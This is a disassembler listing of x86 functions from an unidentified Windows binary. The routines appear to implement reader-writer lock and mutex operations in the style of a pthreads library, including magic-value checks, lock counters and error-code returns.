		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
